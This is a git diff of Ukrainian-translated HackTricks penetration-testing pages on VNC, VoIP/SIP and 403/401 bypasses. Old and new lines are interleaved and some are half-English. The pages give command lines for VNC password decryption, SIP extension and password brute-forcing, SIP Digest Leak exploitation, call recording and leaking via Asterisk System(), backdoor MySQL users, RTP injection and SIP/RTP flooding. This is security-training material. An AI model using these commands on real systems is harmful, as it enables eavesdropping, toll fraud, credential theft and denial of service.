**Віртуальне мережеве обчислення (VNC)** - це надійна система спільного використання графічного робочого столу, яка використовує протокол **Remote Frame Buffer (RFB)** для забезпечення віддаленого керування та співпраці з іншим комп'ютером. За допомогою VNC користувачі можуть безперешкодно взаємодіяти з віддаленим комп'ютером, передаючи події клавіатури та миші в обох напрямках. Це дозволяє отримувати доступ у реальному часі та сприяє ефективній віддаленій допомозі або співпраці через мережу.
**Віртуальне мережеве обчислення (VNC)** - це надійна система спільного використання графічного робочого столу, яка використовує протокол **Remote Frame Buffer (RFB)** для забезпечення віддаленого контролю та співпраці з іншим комп'ютером. За допомогою VNC користувачі можуть безперешкодно взаємодіяти з віддаленим комп'ютером, передаючи події клавіатури та миші в обох напрямках. Це дозволяє отримувати доступ у реальному часі та сприяє ефективній віддаленій допомозі або співпраці через мережу.
VNC зазвичай використовує порти **5800 або 5801 або 5900 або 5901.**
```
@ -39,12 +45,12 @@ vncviewer [-passwd passwd.txt] <IP>::5901
За замовчуванням **пароль зберігається** в: \~/.vnc/passwd
Якщо у вас є пароль VNC і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
Якщо у вас є пароль VNC, і він виглядає зашифрованим (кілька байтів, ніби це може бути зашифрований пароль), ймовірно, він зашифрований за допомогою 3des. Ви можете отримати пароль у відкритому тексті, використовуючи [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash
make
vncpwd <vnc password file>
```
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був зламаний багато років тому.\
Ви можете це зробити, тому що пароль, використаний всередині 3des для шифрування відкритих VNC паролів, був скасований багато років тому.\
Для **Windows** ви також можете використовувати цей інструмент: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Я зберігаю інструмент тут також для зручності доступу:
@ -54,9 +60,15 @@ vncpwd <vnc password file>
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** і хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -64,7 +76,7 @@ vncpwd <vnc password file>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -15,7 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## VoIP Основна Інформація
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## VoIP Basic Information
Щоб почати вивчати, як працює VoIP, перегляньте:
@ -23,7 +31,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
[basic-voip-protocols](basic-voip-protocols/)
{% endcontent-ref %}
## Основні Повідомлення
## Basic Messages
```
Request name Description RFC references
------------------------------------------------------------------------------------------------------
@ -143,7 +151,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
### Telephone Numbers
Одним з перших кроків, які може зробити Red Team, є пошук доступних телефонних номерів для зв'язку з компанією, використовуючи інструменти OSINT, пошук в Google або сканування веб-сторінок.
Одним з перших кроків, які може зробити Red Team, є пошук доступних телефонних номерів для зв'язку з компанією, використовуючи інструменти OSINT, пошукові запити в Google або сканування веб-сторінок.
Коли у вас є телефонні номери, ви можете використовувати онлайн-сервіси для ідентифікації оператора:
@ -152,7 +160,7 @@ OPTIONS Query the capabilities of an endpoint RFC 3261
* [https://www.whitepages.com/](https://www.whitepages.com/)
* [https://www.twilio.com/lookup](https://www.twilio.com/lookup)
Знаючи, чи надає оператор послуги VoIP, ви можете визначити, чи використовує компанія VoIP... Більше того, можливо, що компанія не наймала послуги VoIP, але використовує PSTN карти для підключення свого VoIP PBX до традиційної телефонної мережі.
Знаючи, чи надає оператор послуги VoIP, ви можете визначити, чи використовує компанія VoIP... Більше того, можливо, що компанія не наймала послуги VoIP, але використовує PSTN карти для підключення свого власного VoIP PBX до традиційної телефонної мережі.
Такі речі, як автоматизовані відповіді з музикою, зазвичай вказують на те, що використовується VoIP.
@ -204,7 +212,7 @@ sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
```
* **`SIPPTS scan`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) та вказувати інший User-Agent (і не тільки).
* **`SIPPTS scan`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS сканер - це дуже швидкий сканер для SIP сервісів через UDP, TCP або TLS. Він використовує багатопоточність і може сканувати великі діапазони мереж. Він дозволяє легко вказати діапазон портів, сканувати як TCP, так і UDP, використовувати інший метод (за замовчуванням буде використовувати OPTIONS) і вказувати інший User-Agent (і більше).
```bash
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
@ -230,7 +238,6 @@ PBX також може відкривати інші мережеві серв
* **3306 (MySQL)**: База даних MySQL
* **5038 (Manager)**: Дозволяє використовувати Asterisk з інших платформ
* **5222 (XMPP)**: Повідомлення за допомогою Jabber
* **5432 (PostgreSQL)**: База даних PostgreSQL
* І інші...
### Перевірка Методів
@ -288,7 +295,7 @@ enumiax -v -m3 -M3 10.10.0.10
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
```
* **`SIPPTS rcrack`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack - це віддалений зломувач паролів для SIP-сервісів. Rcrack може перевіряти паролі для кількох користувачів на різних IP-адресах і діапазонах портів.
* **`SIPPTS rcrack`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack - це віддалений злому паролів для SIP-сервісів. Rcrack може перевіряти паролі для кількох користувачів на різних IP-адресах і діапазонах портів.
```bash
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
```
@ -298,7 +305,7 @@ sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
### VoIP Sniffing
Якщо ви знайдете VoIP обладнання всередині **Open Wifi network**, ви зможете **перехопити всю інформацію**. Більше того, якщо ви знаходитесь у більш закритій мережі (підключеній через Ethernet або захищений Wifi), ви зможете виконати **MitM атаки, такі як** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) між **PBX та шлюзом**, щоб перехопити інформацію.
Якщо ви знайдете VoIP обладнання всередині **Open Wifi network**, ви зможете **перехопити всю інформацію**. Більше того, якщо ви знаходитесь у більш закритій мережі (підключеній через Ethernet або захищений Wifi), ви зможете виконати **MitM атаки, такі як** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) між **PBX та шлюзом** для перехоплення інформації.
Серед мережевої інформації ви можете знайти **веб-дані** для управління обладнанням, **розширення** користувачів, **ім'я користувача**, **IP** адреси, навіть **хешовані паролі** та **RTP пакети**, які ви можете відтворити, щоб **почути розмову**, і більше.
@ -344,17 +351,17 @@ multimon -a DTMF -t wac pin.wav
host=10.10.10.10
host=dynamic
```
Якщо вказана IP-адреса, хост **не потрібно буде надсилати REGISTER** запити час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕГІСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP сервером для прийому дзвінків.
Якщо вказана IP-адреса, хост **не потрібно буде надсилати запити REGISTER** час від часу (в пакеті REGISTER надсилається час життя, зазвичай 30 хвилин, що означає, що в іншому випадку телефон повинен буде РЕГІСТРУВАТИСЯ кожні 30 хвилин). Однак, йому потрібно мати відкриті порти, що дозволяють з'єднання з VoIP-сервером для прийому дзвінків.
Щоб визначити користувачів, їх можна визначити як:
* **`type=user`**: Користувач може отримувати дзвінки лише як користувач.
* **`type=friend`**: Можливо здійснювати дзвінки як партнер і отримувати їх як користувач (використовується з розширеннями)
* **`type=peer`**: Можливо надсилати та отримувати дзвінки як партнер (SIP-транки)
* **`type=friend`**: Можливо здійснювати дзвінки як рівний і отримувати їх як користувач (використовується з розширеннями)
* **`type=peer`**: Можливо надсилати та отримувати дзвінки як рівний (SIP-транки)
Також можливо встановити довіру з використанням змінної insecure:
* **`insecure=port`**: Дозволяє з'єднання партнерів, перевірених за IP.
* **`insecure=port`**: Дозволяє з'єднання рівних, перевірених за IP.
* **`insecure=invite`**: Не вимагає аутентифікації для INVITE повідомлень
* **`insecure=port,invite`**: Обидва
@ -405,7 +412,7 @@ include => external
* **`SIPPTS invite`** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite перевіряє, чи **PBX сервер дозволяє нам здійснювати дзвінки без автентифікації**. Якщо SIP сервер має неправильну конфігурацію, він дозволить нам здійснювати дзвінки на зовнішні номери. Це також може дозволити нам переадресувати дзвінок на другий зовнішній номер.
Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запит INVITE без авторизації. У цьому випадку атакуючий може здійснювати дзвінки, не знаючи жодного користувача/пароля.
Наприклад, якщо ваш сервер Asterisk має погану конфігурацію контексту, ви можете приймати запити INVITE без авторизації. У цьому випадку атакуючий може здійснювати дзвінки, не знаючи жодного користувача/пароля.
{% code overflow="wrap" %}
```bash
@ -423,13 +430,13 @@ IVRS означає **Систему інтерактивної голосово
IVRS у VoIP системах зазвичай складається з:
1. **Голосових підказок**: Попередньо записані аудіоповідомлення, які направляють користувачів через варіанти меню IVR та інструкції.
1. **Голосових підказок**: Попередньо записані аудіоповідомлення, які направляють користувачів через меню IVR та інструкції.
2. **DTMF** (Dual-Tone Multi-Frequency) сигналізація: Тональні введення, що генеруються натисканням клавіш на телефоні, які використовуються для навігації через меню IVR та надання введення.
3. **Маршрутизація дзвінків**: Направлення дзвінків до відповідного призначення, такого як конкретні відділи, агенти або розширення на основі введення користувача.
4. **Захоплення введення користувача**: Збір інформації від абонентів, такої як номери рахунків, ID справ або будь-які інші відповідні дані.
5. **Інтеграція з зовнішніми системами**: Підключення системи IVR до баз даних або інших програмних систем для доступу або оновлення інформації, виконання дій або ініціювання подій.
У системі VoIP Asterisk ви можете створити IVR, використовуючи план набору (**`extensions.conf`** файл) та різні програми, такі як `Background()`, `Playback()`, `Read()` та інші. Ці програми допомагають вам відтворювати голосові підказки, захоплювати введення користувача та контролювати потік дзвінків.
У системі Asterisk VoIP ви можете створити IVR, використовуючи план набору (**`extensions.conf`** файл) та різні програми, такі як `Background()`, `Playback()`, `Read()` та інші. Ці програми допомагають вам відтворювати голосові підказки, захоплювати введення користувача та контролювати потік дзвінків.
#### Приклад вразливої конфігурації
```scss
@ -440,7 +447,7 @@ exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
```
Попередній приклад, де користувача просять **натиснути 1, щоб зателефонувати** в відділ, **2, щоб зателефонувати** в інший, або **повний номер**, якщо він його знає.\
Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести 5-секундний тайм-аут повного номера, і він буде набраний.**
Вразливість полягає в тому, що вказана **довжина номера не перевіряється, тому користувач може ввести тайм-аут у 5 секунд, і буде зателефоновано на повний номер.**
### Впровадження номера
@ -456,11 +463,11 @@ exten => 101,1,Dial(SIP/101)
```scss
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
```
Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримав дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке зіставлення**, яке виконується, але не існує, він може **впровадити дзвінок лише на бажаний номер**.
Тому дзвінок на розширення **`101`** та **`123123123`** буде надіслано, і лише перший, хто отримав дзвінок, буде встановлено... але якщо зловмисник використовує **розширення, яке обходить будь-яке зіставлення**, що виконується, але не існує, він може **впровадити дзвінок лише на бажаний номер**.
## Уразливість SIPDigestLeak
Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP до аналогових). Уразливість дозволяє **витоку відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик.
Уразливість SIP Digest Leak впливає на велику кількість SIP телефонів, включаючи як апаратні, так і програмні IP телефони, а також телефонні адаптери (VoIP до аналогових). Уразливість дозволяє **витікання відповіді на аутентифікацію Digest**, яка обчислюється з пароля. **Офлайн-атака на пароль стає можливою** і може відновити більшість паролів на основі відповіді на виклик.
**[Сценарій уразливості звідси**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -472,7 +479,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
6. **Телефон жертви надає відповідь на виклик аутентифікації** в другому BYE
7. **Зловмисник може тоді здійснити атаку методом грубої сили** на відповідь на виклик на своєму локальному комп'ютері (або розподіленій мережі тощо) і вгадати пароль
* **SIPPTS leak** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak експлуатує уразливість SIP Digest Leak, яка впливає на велику кількість SIP телефонів. Вихідні дані можна зберегти у форматі SipCrack для брутфорсу за допомогою SIPPTS dcrack або інструменту SipCrack.
* **SIPPTS leak** з [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak експлуатує уразливість SIP Digest Leak, яка впливає на велику кількість SIP телефонів. Вихід може бути збережений у форматі SipCrack для брутфорсу за допомогою SIPPTS dcrack або інструменту SipCrack.
```bash
sippts leak -i 10.10.0.10
@ -541,7 +548,7 @@ exten => _X.,2,MixMonitor(${NAME})
Дзвінки будуть збережені в **`/tmp`**.
Ви також можете змусити Asterisk **виконати скрипт, який витече дзвінок** після його закриття.
Ви також можете змусити Asterisk **виконати скрипт, який витече дзвінок** після його завершення.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
@ -549,11 +556,11 @@ exten => h,1,System(/tmp/leak_conv.sh &)
**RTCPBleed** є серйозною проблемою безпеки, що впливає на VoIP-сервери на базі Asterisk (опубліковано в 2017 році). Уразливість дозволяє **RTP (Real Time Protocol) трафіку**, який несе VoIP-розмови, **перехоплюватися та перенаправлятися будь-ким в Інтернеті**. Це відбувається тому, що RTP-трафік обходить аутентифікацію при навігації через NAT (Network Address Translation) брандмауери.
RTP-проксі намагаються вирішити **обмеження NAT**, що впливають на RTC-системи, проксуючи RTP-потоки між двома або більше сторонами. Коли NAT активний, програмне забезпечення RTP-проксі часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому ряд RTP-проксі реалізували механізм, де такий **IP та порт автоматично вивчаються**. Це часто робиться шляхом перевірки вхідного RTP-трафіку та позначення IP та порту джерела для будь-якого вхідного RTP-трафіку як того, на який слід відповідати. Цей механізм, який може називатися "режим навчання", **не використовує жодного виду аутентифікації**. Тому **зловмисники** можуть **надсилати RTP-трафік до RTP-проксі** та отримувати проксований RTP-трафік, призначений для абонента або абонентки поточного RTP-потоку. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати RTP медіа-потоки, призначені для законних користувачів.
RTP-проксі намагаються вирішити **обмеження NAT**, що впливають на RTC-системи, проксуючи RTP-потоки між двома або більше сторонами. Коли NAT активний, програмне забезпечення RTP-проксі часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому ряд RTP-проксі реалізували механізм, де такий **IP та портова пара вивчається автоматично**. Це часто робиться шляхом перевірки вхідного RTP-трафіку та позначення IP та порту джерела для будь-якого вхідного RTP-трафіку як того, на який слід відповідати. Цей механізм, який може називатися "режим навчання", **не використовує жодного виду аутентифікації**. Тому **зловмисники** можуть **надсилати RTP-трафік до RTP-проксі** та отримувати проксований RTP-трафік, призначений для абонента або абонентки поточного RTP-потоку. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати RTP медіа-потоки, призначені для законних користувачів.
Ще одна цікава поведінка RTP-проксі та стеків RTP полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, які можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжекцію нелегітимних RTP-пакетів у існуючі RTP-потоки. Ця уразливість може бути виявлена як у RTP-проксі, так і в кінцевих точках.
Ще одна цікава поведінка RTP-проксі та RTP-стеків полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, які можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжекцію нелегітимних RTP-пакетів у існуючі RTP-потоки. Ця уразливість може бути виявлена як у RTP-проксі, так і в кінцевих точках.
Asterisk та FreePBX традиційно використовували **налаштування `NAT=yes`**, яке дозволяє RTP-трафіку обходити аутентифікацію, що потенційно призводить до відсутності звуку або одностороннього звуку під час дзвінків.
Asterisk та FreePBX традиційно використовували **`NAT=yes` налаштування**, яке дозволяє RTP-трафіку обходити аутентифікацію, що потенційно призводить до відсутності звуку або одностороннього звуку під час дзвінків.
Для отримання додаткової інформації перегляньте [https://www.rtpbleed.com/](https://www.rtpbleed.com/)
@ -582,47 +589,47 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
Якщо сервер **не дозволяє використання певних символів** у команді **`System`** (як у Elastix), перевірте, чи дозволяє веб-сервер **якось створювати файли всередині системи** (як у Elastix або trixbox), і використайте це, щоб **створити скрипт з бекдором**, а потім використайте **`System`** для **виконання** цього **скрипту**.
If the server is **дозволяє використання певних символів** в команді **`System`** (як в Elastix), перевірте, чи веб-сервер дозволяє **створювати файли якимось чином всередині системи** (як в Elastix або trixbox), і використайте це, щоб **створити скрипт з бекдором**, а потім використайте **`System`** для **виконання** цього **скрипту**.
{% endhint %}
#### Цікаві локальні файли та дозволи
#### Interesting local files and permissions
* **`sip.conf`** -> Містить пароль користувачів SIP.
* Якщо **сервер Asterisk працює під root**, ви можете скомпрометувати root.
* **mysql root user** може **не мати жодного пароля**.
* це може бути використано для створення нового користувача mysql як бекдор.
* If the **Asterisk server is running as root**, you could compromise root
* **mysql root user** might **doesn't have any password**.
* this could be used to create a new mysql user as backdoor
* **`FreePBX`**
* **`amportal.conf`** -> Містить пароль адміністратора веб-панелі (FreePBX).
* **`FreePBX.conf`** -> Містить пароль користувача FreePBXuser, який використовується для доступу до бази даних.
* це може бути використано для створення нового користувача mysql як бекдор.
* **`amportal.conf`** -> Містить пароль адміністратора веб-панелі (FreePBX)
* **`FreePBX.conf`** -> Містить пароль користувача FreePBXuser, який використовується для доступу до бази даних
* this could be used to create a new mysql user as backdoor
* **`Elastix`**
* **`Elastix.conf`** -> Містить кілька паролів у відкритому тексті, таких як пароль mysql root, пароль IMAPd, пароль веб-адміністратора.
* **Кілька папок** належатимуть скомпрометованому користувачу asterisk (якщо не працює під root). Цей користувач може читати попередні файли та також контролює конфігурацію, тому він може змусити Asterisk завантажувати інші скомпрометовані бінарні файли під час виконання.
* **`Elastix.conf`** -> Містить кілька паролів у відкритому тексті, таких як пароль mysql root, пароль IMAPd, пароль веб-адміністратора
* **Кілька папок** належатимуть скомпрометованому користувачу asterisk (якщо не працює як root). Цей користувач може читати попередні файли і також контролює конфігурацію, тому він може змусити Asterisk завантажувати інші скомпрометовані бінарні файли при виконанні.
### RTP Injection
Можливо вставити **`.wav`** у розмови, використовуючи інструменти, такі як **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) та **`rtpmixsound`** (`sudo apt install rtpmixsound`).
It's possible to insert a **`.wav`** in converstions using tools such as **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) and **`rtpmixsound`** (`sudo apt install rtpmixsound`).
Або ви можете використовувати скрипти з [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) для **сканування розмов** (**`rtpscan.pl`**), відправки `.wav` у розмову (**`rtpsend.pl`**) та **вставки шуму** у розмову (**`rtpflood.pl`**).
Or you could use the scripts from [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) to **scan conversations** (**`rtpscan.pl`**), send a `.wav` to a conversation (**`rtpsend.pl`**) and **insert noise** in a conversation (**`rtpflood.pl`**).
### DoS
Існує кілька способів спробувати досягти DoS на VoIP серверах.
There are several ways to try to achieve DoS in VoIP servers.
* **`SIPPTS flood`** з [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood надсилає необмежену кількість повідомлень до цілі.
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood sends unlimited messages to the target.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** з [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping робить SIP ping, щоб перевірити час відповіді сервера.
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping makes a SIP ping to see the server response time.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX протокол, що використовується Asterisk.
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Інструмент для виконання SIP/SDP INVITE повідомлень на UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Надсилає кілька добре сформованих RTP пакетів. Потрібно знати RTP порти, які використовуються (спочатку прослухайте).
* [**SIPp**](https://github.com/SIPp/sipp): Дозволяє аналізувати та генерувати SIP трафік, тому його також можна використовувати для DoS.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP швейцарський ніж. Також може бути використаний для виконання SIP атак.
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protocol used by Asterisk
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
* [**SIPp**](https://github.com/SIPp/sipp): Allows to analyze and generate SIP traffic. so it can be used to DoS also.
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP swiss army knife. Can also be used to perform SIP attacks.
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
### OS Vulnerabilities
Найпростіший спосіб встановити програмне забезпечення, таке як Asterisk, - це завантажити **дистрибутив ОС**, який вже має його встановленим, наприклад: **FreePBX, Elastix, Trixbox**... Проблема з цими дистрибутивами полягає в тому, що, як тільки вони запрацюють, системні адміністратори можуть **більше не оновлювати їх**, і **вразливості** будуть виявлені з часом.
The easiest way to install a software such as Asterisk is to download an **OS distribution** that has it already installed, such as: **FreePBX, Elastix, Trixbox**... The problem with those is that once it's working sysadmins might **not update them again** and **вразливості** будуть виявлені з часом.
## References
@ -637,6 +644,14 @@ There is command called **`Shell`** that could be used **instead of `System`** t
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details>
<summary>Support HackTricks</summary>

View file

@ -1,39 +1,41 @@
# 403 & 401 Bypasses
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Support HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та пентестингу**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціалізовані інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, запуску оболонок та отримання задоволення.
#### Get a hacker's perspective on your web apps, network, and cloud
